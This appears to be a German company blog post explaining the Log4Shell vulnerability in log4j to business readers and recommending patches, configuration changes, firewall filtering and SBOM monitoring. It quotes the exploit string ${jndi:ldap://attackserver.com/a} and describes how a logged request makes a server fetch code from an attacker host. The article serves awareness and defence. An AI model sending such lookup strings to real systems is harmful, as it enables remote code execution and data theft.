Log4j wird zu „Log4Shell“ – ist Ihnen die Gefahr für Ihre Unternehmen bekannt?

Dez 31, 2021 | Cybersecurity, Digital

Zero-Day Lücke – CVE-2021-44228

hält Unternehmen und Endanwender in Atem.

Wie eine Bibliothek zur Unterstützung der Programmüberwachung einen ruhigen Jahreswechsel überschattet.

„Ich muss leider weiter in den log4j Krisen-Call“, heißt es dieser Tage oft. Die am 24.11.2021 bekanntgewordene Sicherheitslücke in der Java-Bibliothek log4j hält die Welt in Atem.

In diesem Artikel beleuchten wir kurz den log4j-Exploit, der unter dem Namen Log4Shell bekanntgeworden ist und derzeit diverse IT-Systeme gefährdet.

Was ist log4j?

Log4j ist eine Open-Source Protokollierungsbibliothek zum Loggen von Meldungen innerhalb einer Software-Anwendung. In der Softwareentwicklung spielen Logs eine wichtige Rolle, um das Verhalten von Software nachvollziehbar zu machen. Entwickler können anhand der Logs ermitteln, welche Aktionen ausgeführt wurden, welche Eingaben der Nutzer durchgeführt hat und was dadurch für Aktionen oder Fehler entstanden sind.

Welche Schwachstelle hat log4j?

Herkömmliche Logging-Funktionen speichern lediglich die durch den Entwickler definierten Informationen in die Log-Datei. Log4j unterstützt den Entwickler mit einem Framework von vordefinieren Fehlerklassen dabei (siehe Beispiel in Abbildung 1).

cybersecurity log4j

Darüber hinaus bietet log4j die Möglichkeit, im Fehlerfall dynamisch Nutzereingaben und Softwarecode nachzuladen, sodass auf verschiedene Fehler zur Programmlaufzeit reagiert werden kann. Genau diese Funktion führt zu der entdeckten Schwachstelle. Standardmäßig ist diese Funktion in der Konfiguration der log4j-Bibliothek aktiviert. Der log4j-Exploit nutzt diese Funktion aus, sodass ein Angreifer eigenen Programmcode auf das Zielsystem nachladen und ausführen kann (siehe Abbildung 2).

Diese Angriffsmethodik lässt sich mit der schon länger bekannten, vielfach auftretenden SQL-Injection vergleichen, bei der Programmabläufe durch Aktionen in Nutzereingabefeldern manipuliert werden können.

Abbildung 2:

cybersecurity tagueri

Folgende Schritte führt ein Angreifer aus, um die Schwachstelle (Abbildung 2) auszunutzen:

  • Der Angreifer versendet einen HTTP-Request mit der Zeichenkette (String) ${jndi:ldap://attackserver.com/a} an den Zielserver.
  • Auf dem Zielserver erfolgt ein logging des Angreifer-Requests inkl. des Angriffsstring ${jndi:ldap://attackserver.com/a}.
  • Anschließend wir der geloggten Strings durch log4j verarbeitet und zu ldap://attackserver.com/a als Kommando geparsed­.
  • Das Kommando führt zur Verbindung des Zielservers mit dem Angreiferserver über den geloggte URL innerhalb des Aufrufs attackserver.com/a.
  • Durch die Antwort wird eine Ausnutzung der Lücke (Datendiebstahl, Installation von Schadsoftware, etc.) möglich.

Warum ist die entdeckte Schwachstelle in log4j so gefährlich?

Log4j ermöglicht es einem Angreifer auf dem Zielsystem eine sogenannte Remote Method Invocation (RMI) durchzuführen. Hierdurch wird auf dem angegriffenen Zielsystem potenziell schädlicher Programmcode von einem fremden Angriffsserver ausgeführt. Dadurch wird das angegriffene System kompromittiert. Von Datendiebstahl bis zu eingebauten Backdoors zur dauerhaften Systemkontrolle sind verschiedene Szenarien denkbar.

Das Bundesamt für Informationssicherheit (BSI) stuft die bekanntgewordene Schwachstelle mit der höchsten IT-Bedrohungslage „4 – extrem kritisch“ ein.

Da es sich bei log4j um ein im Jahr 2003 entwickeltes und eingesetztes Framework handelt, sind diverse Systeme unterschiedlicher Branchen betroffen. Jede auf Java basierende Software ist potenziell gefährdet. In vielen Fällen besteht keine zentrale Kenntnis über die Verwendung von log4j in der eingesetzten Software, wodurch eine aufwendige Prüfung notwendig wird. In der Regel ist unbekannt, wie viele und auch wo log4j eingesetzt wird. Außerdem ist aktuell generell unbekannt, welche Angriffsmöglichkeiten mithilfe der Schwachstelle ausgenutzt werden können. Nutzer von log4j wissen meistens nicht exakt, wo Logs angelegt werden und wie diese die Systemlandschaft gefährden.

Aufgrund der weiten Verbreitung von Java als Programmiersprache zur Anwendungsentwicklung und des Einsatzes in vielen Softwareprodukten sind viele Systeme von der bekanntgewordenen Sicherheitslücke betroffen.

Was ist nun zu tun, um den Schaden zu begrenzen und die Schwachstelle zu schließen?

Es gibt verschiedene Möglichkeiten, die am 06.12.2021 offiziell als gepatcht gemeldete Sicherheitslücke in Systemen mit der log4j Bibliothek, zu beheben. Der erste Schritt besteht in der Identifikation der betroffenen Systeme.5 Neben der Identifikation ist eine Risikobewertung essenziell. Für betroffene Systeme bedeutet der Einsatz von log4j einen potenziell kritischen Informationssicherheitsvorfall. Das Prinzip der „Vertraulichkeit“ ist gemäß ISO 27001 verletzt.

Nach abgeschlossener Identifikation und Risikoeinschätzung müssen schnellstmöglich Abstellmaßnahmen eingeleitet werden. Hierfür gibt es unterschiedliche Optionen:

  • Aktuelle Software-Updates installieren
  • Eingesetzt Software auf Updates prüfen, die die Sicherheitslücke schließen oder ungepatchte Software temporär außer Betrieb nehmen.
  • Konfiguration aktualisieren und Einsatz von log4j beenden oder Teilfunktionen temporär deaktivieren (z. B. enableJndiLookup=false)
  • Firewall-Einstellungen überprüfen und anpassen, sodass potenziell gefährliche Anfrage (HTTP-Requests) gefiltert werde

Generell zeigt dieser Vorfall einmal mehr deutlich die Notwendigkeit zeitgemäßer Incident Prevention (IP) und vor allem effizienter Incident Response (IR) Maßnahmen für digitale Infrastruktur.

Was lernen wir aus diesem Sicherheitsvorfall?

Durch den Einsatz von Open-Source- und anderen zugelieferten Softwarebestandteilen können Sicherheitslücken entstehen. Daher ist es wichtiger denn je, dass auch diese Artefakte gründlich auf ihre Sicherheit überprüft werden (Incident Prevention-Maßnahmen), um die Integrität der gesamten Software nicht unentdeckt zu untergraben.

Durch Dokumentation und Tracking mittels einer Software bill of materials (SBOM) und durch automatisierte Überprüfung von zugelieferter Software kann diese Art von Schwachstellen ausgeschlossen werden. Außerdem führt ein aktives Monitoring der Systemlandschaft zur frühzeitigen Erkennung potenzieller Angriffe. Hierbei können zum Beispiel erhöhte Datenrate oder ausbleibende Folgekommandos ($set echo off) identifiziert werden.

Eine sauber dokumentierte und überwachte Softwarelandschaft und nachvollziehbare Prozesse stellen unter diesen Umständen einen entscheidenden Vorteil für Ihr Unternehmen dar.

Neben guten Präventionsmaßnahmen ist ein funktionierendes Incident Response Management (IRM) mit einem kompetenten Product Security Incident Response Team (PSIRT) ein entscheidender Wettbewerbsvorteil für Unternehmen im digitalen Zeitalter. Eine gelebte Cybersecurity-Kultur und die notwendige Cybersecurity-Awareness innerhalb des Unternehmens sind heute essenziell für den Fortbestand am Markt.

Es ist wichtig, dass Ihre Cybersecurity einem ganzheitlichen Plan folgt. Dieser kann zum Beispiel anhand eines klassischen Information Security Management System (ISMS) mithilfe der ISO 270xx-Familie erarbeitet und umgesetzt werden.

Wir bieten Ihnen von Codereviews Ihrer Softwareprodukte, Quick-Checks Ihrer Organisation, der Awareness-Schulung Ihrer Mitarbeiter*innen, bis zum Penetration Testing Ihrer Server und IT-Landschaft die ganze Palette der Security-Instrumente an und unterstützen Sie bei der Umsetzung Ihres individuellen ganzheitlichen Cybersecurity-Plans.

Gemeinsam meistern wir die Zukunft!

Geschrieben von:

Aaron Machmer
Kontakt

Pin It on Pinterest

Share This